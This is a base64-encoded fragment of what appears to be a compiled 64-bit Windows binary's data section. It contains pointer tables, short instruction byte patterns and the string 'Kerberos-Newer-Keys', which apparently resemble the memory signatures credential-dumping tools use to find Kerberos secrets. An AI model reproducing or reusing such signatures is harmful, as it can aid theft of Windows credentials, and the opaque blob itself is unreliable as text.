AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAAEAAAACAAAALyAAAAAAAAAyot8tmSsAAM1dINJm1P//AAAAAAAAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAADAAAAAgAAAD/////8MYIgAEAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyGIMgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADIYgyAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMhiDIABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyGIMgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADIYgyAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwaAyAAQAAAAAAAAAAAAAAAAAAAAAAAABwyQiAAQAAAPDKCIABAAAAILkIgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgYQyAAQAAACBjDIABAAAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////8AAAAAAAAAAIAACgoKAAAA8ssIgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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CUKgAEAAAAAAAAAAAAAAAAAAAAAAAAA+CUKgAEAAAB4fwaAAQAAAAAAAAAAAAAAECYKgAEAAAAGfwaAAQAAAAAAAAAAAAAAKCYKgAEAAACyfgaAAQAAAAAAAAAAAAAAQCYKgAEAAAAMfwaAAQAAAAAAAAAAAAAAWCYKgAEAAABqfgaAAQAAAAAAAAAAAAAAcCYKgAEAAAASfwaAAQAAAAAAAAAAAAAAiCYKgAEAAAByfwaAAQAAAAAAAAAAAAAAmCYKgAEAAADEfgaAAQAAAAAAAAAAAAAAsCYKgAEAAACsfgaAAQAAAAAAAAAAAAAAyCYKgAEAAABYfgaAAQAAAAAAAAAAAAAA2CYKgAEAAAAAAAAAAAAAAAAAAAAAAAAA6CYKgAEAAABIfwaAAQAAAAAAAAAAAAAA+CYKgAEAAACQfwaAAQAAAAAAAAAAAAAACCcKgAEAAACKfwaAAQAAAAAAAAAAAAAAICcKgAEAAAD6fgaAAQAAAAAAAAAAAAAAMCcKgAEAAADWfgaAAQAAAAAAAAAAAAAAQCcKgAEAAACifwaAAQAAAAAAAAAAAAAAUCcKgAEAAAAwfwaAAQAAAAAAAAAAAAAAYCcKgAEAAADifgaAAQAAAAAAAAAAAAAAcCcKgAEAAABOfwaAAQAAAAAAAAAAAAAAgCcKgAEAAACgfgaAAQAAAAAAAAAAAAAAkCcKgAEAAABafwaAAQAAAAAAAAAAAAAAoCcKgAEAAACmfgaAAQAAAAAAAAAAAAAAsCcKgAEAAABCfwaAAQAAAAAAAAAAAAAAwCcKgAEAAADufgaAAQAAAAAAAAAAAAAA0CcKgAEAAADofgaAAQAAAAAAAAAAAAAA4CcKgAEAAABUfwaAAQAAAAAAAAAAAAAA8CcKgAEAAAAAAAAAAAAAAAAAAAAAAAAAACgKgAEAAAAAAAAAAAAAAAAAAAAAAAAAECgKgAEAAABkfgaAAQAAAAAAAAAAAAAAICgKgAEAAAC+fgaAAQAAAAAAAAAAAAAAMCgKgAEAAABsfwaAAQAAAAAAAAAAAAAAQCgKgAEAAACIfgaAAQAAAAAAAAAAAAAAUCgKgAEAAAD0fgaAAQAAAAAAAAAAAAAAaCgKgAEAAACcfwaAAQAAAAAAAAAAAAAAgCgKgAEAAABAfgaAAQAAAAAAAAAAAAAAkCgKgAEAAADKfgaAAQAAAAAAAAAAAAAAoCgKgAEAAAB2fgaAAQAAAAAAAAAAAAAAsCgKgAEAAABSfgaAAQAAAAAAAAAAAAAAuCgKgAEAAACEfwaAAQAAAAAAAAAAAAAA0CgKgAEAAABgfwaAAQAAAAAAAAAAAAAA4CgKgAEAAADQfgaAAQAAAAAAAAAAAAAA8CgKgAEAAAB8fgaAAQAAAAAAAAAAAAAAACkKgAEAAACUfgaAAQAAAAAAAAAAAAAAGCkKgAEAAABGfgaAAQAAAAAAAAAAAAAAKCkKgAEAAAAAAAAAAAAAAAAAAAAAAAAAOCkKgAEAAACOfgaAAQAAAAAAAAAAAAAAUCkKgAEAAAAqfwaAAQAAAAAAAAAAAAAAaCkKgAEAAAAAAAAAAAAAAAAAAAAAAAAAgCkKgAEAAAAAAAAAAAAAAAAAAAAAAAAAoCkKgAEAAAAAAAAAAAAAAAAAAAAAAAAAuCkKgAEAAAAAAAAAAAAAAAAAAAAAAAAAyCkKgAEAAAAAAAAAAAAAAAAAAAAAAAAA4CkKgAEAAAAAAAAAAAAAAAAAAAAAAAAA8CkKgAEAAAAAAAAAAAAAAAAAAAAAAAAACCoKgAEAAAC4fgaAAQAAAAAAAAAAAAAAICoKgAEAAAAYfwaAAQAAAAAAAAAAAAAAOCoKgAEAAAB+fwaAAQAAAAAAAAAAAAAASCoKgAEAAAAAAAAAAAAAAAAAAAAAAAAAaCoKgAEAAAAAAAAAAAAAAAAAAAAAAAAAiCoKgAEAAAAAAAAAAAAAAAAAAAAAAAAAmCoKgAEAAAAAAAAAAAAAAAAAAAAAAAAAsCoKgAEAAAAefwaAAQAAAAAAAAAAAAAAAQAAAAEAAAABAAAAAAAAAAEAAAD+//9/AAAAAIAAAAD0AQAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZAAAAAAAAAAAAAAA+gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABkAAADr68PrAAABIAAAAACIIwqAAQAAAAAAAAAAAAAA0NoAgAEAAAAAAAAAAAAAAJgjCoABAAAAAAAAAAAAAAAAAAEgAAAAAKgjCoABAAAAAAAAAAAAAADQ2gCAAQAAAAAAAAAAAAAAuCMKgAEAAAAAAAAAAAAAAAAAASAAAAAAyCMKgAEAAAAAAAAAAAAAANDaAIABAAAAAAAAAAAAAADgIwqAAQAAAAAAAAAAAAAAAQIAAAcAAAAAAgAABwAAAAgCAAAHAAAABgIAAAcAAAAHAgAABwAAAAMAAABgAAAA/v8AAAAAAAAAAAAAAAAAACgtCoABAAAAAAAAAAAAAADcIwGAAQAAACgnAYABAAAASCgBgAEAAACYKQGAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAhCwBgAEAAABILQGAAQAAANQtAYABAAAADC4BgAEAAAB8LQGAAQAAAFQKAYABAAAAFAsBgAEAAABoCwGAAQAAAAwBQAAAdevrAQABDAAAAAAAAAAAAAAAAAAAAAAAAAAAVE8DgAEAAAAAAAAAAAAAAHg8CoABAAAAAAAAAAAAAAACAAEMAAAAAAAAAAAAAAAAAAAAAAAAAABUTwOAAQAAAAAAAAAAAAAAiDwKgAEAAAAAAAAAAAAAAAEAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAFRPA4ABAAAAAAAAAAAAAACUPAqAAQAAAAAAAAAAAAAAAQABCAAAAAABAAAAAAAAAAAAAAAAAAAA3FcDgAEAAAAAAAAAAAAAAJw8CoABAAAAAAAAAAAAAAACAAEIAAAAAAEAAAAAAAAAAAAAAAAAAADcVwOAAQAAAAAAAAAAAAAAnDwKgAEAAAAAAAAAAAAAAAEAAQgAAAAAAgAAAAAAAAAAAAAAAAAAANxXA4ABAAAAAAAAAAAAAACkPAqAAQAAAAAAAAAAAAAAAgABCAAAAAACAAAAAAAAAAAAAAAAAAAA3FcDgAEAAAAAAAAAAAAAAKQ8CoABAAAAAAAAAAAAAAABAAEIAAAAAAMAAAAAAAAAAAAAAAAAAADcVwOAAQAAAAAAAAAAAAAArDwKgAEAAAAAAAAAAAAAAAIAAQgAAAAAAwAAAAAAAAAAAAAAAAAAANxXA4ABAAAAAAAAAAAAAACsPAqAAQAAAAAAAAAAAAAA/wAhCAAAAAAAAAAAAAAAAAAAAAAAAAAAID8DgAEAAAAAAAAAAAAAALQ8CoABAAAAAAAAAAAAAAAAACEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtDwKgAEAAAAAAAAAAAAAAAEAIRAAAAAAAAAAAAAAAAAAAAAAAAAAAABdA4ABAAAA6F0DgAEAAAC0PAqAAQAAAAAAAAAAAAAA/wAhCAAAAAABAAAAAAAAAAAAAAAAAAAAID8DgAEAAAAAAAAAAAAAALg8CoABAAAAAAAAAAAAAAAAACEIAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuDwKgAEAAAAAAAAAAAAAAAEAIRAAAAAAAQAAAAAAAAAAAAAAAAAAAABdA4ABAAAA6F0DgAEAAAC4PAqAAQAAAAAAAAAAAAAAAQCBCAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADgAEAAAAAAAAAAAAAALw8CoABAAAAAAAAAAAAAAABAEEIAAAAAAAAAAAAAAAAAAAAAAAAAACMQAOAAQAAAAAAAAAAAAAAxDwKgAEAAAAAAAAAAAAAAAIAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAExCA4ABAAAAAAAAAAAAAADMPAqAAQAAAAAAAAAAAAAA/wABCAAAAAAAAAAAAAAAAAAAAAAAAAAAgEMDgAEAAAAAAAAAAAAAANQ8CoABAAAAAAAAAAAAAAABAAEIAAAAAAAAAAAAAAAAAAAAAAAAAACIUgOAAQAAAAAAAAAAAAAA4DwKgAEAAAAAAAAAAAAAAP8AAQgAAAAAAAAAAAAAAAAAAAAAAAAAAOhSA4ABAAAAAAAAAAAAAADoPAqAAQAAAAAAAAAAAAAAAQABCAAAAAAAAAAAAAAAAAAAAAAAAAAAXEEDgAEAAAAAAAAAAAAAAPA8CoABAAAAAAAAAAAAAAABAAEIAAAAAAAAAAAAAAAAAAAAAAAAAADQRgOAAQAAAAAAAAAAAAAA9DwKgAEAAAAAAAAAAAAAAAEAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAIRHA4ABAAAAAAAAAAAAAAD8PAqAAQAAAAAAAAAAAAAAAQABCAAAAAAAAAAAAAAAAAAAAAAAAAAARFQDgAEAAAAAAAAAAAAAAAQ9CoABAAAAAAAAAAAAAAACAAEKAAAAAAAAAAAAAAAAAAAAAAAAAABUTwOAAQAAAAAAAAAAAAAACD0KgAEAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAADBIA4ABAAAAAAAAAAAAAAAQPQqAAQAAAAAAAAAAAAAAAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAkEgDgAEAAAAAAAAAAAAAABg9CoABAAAAAAAAAAAAAAACACEIAAAAAAAAAAAAAAAAAAAAAAAAAAAETwOAAQAAAAAAAAAAAAAAJD0KgAEAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAFRPA4ABAAAAAAAAAAAAAAAwPQqAAQAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAjE8DgAEAAAAAAAAAAAAAAEA9CoABAAAAAAAAAAAAAAACAAEIAAAAAAAAAAAAAAAAAAAAAAAAAADETwOAAQAAAAAAAAAAAAAAWD0KgAEAAAAAAAAAAAAAAAEAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAABQA4ABAAAAAAAAAAAAAABkPQqAAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAEEkDgAEAAAAAAAAAAAAAAHA9CoABAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAABASQOAAQAAAAAAAAAAAAAAiD0KgAEAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAHBJA4ABAAAAAAAAAAAAAACQPQqAAQAAAAAAAAAAAAAAAwABCAAAAAAAAAAAAAAAAAAAAAAAAAAAeFUDgAEAAAAAAAAAAAAAAKA9CoABAAAAAAAAAAAAAAABAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAVQOAAQAAAAAAAAAAAAAAqD0KgAEAAAAAAAAAAAAAAAIAAQgAAAAAAAAAAAAAAAAAAAAAA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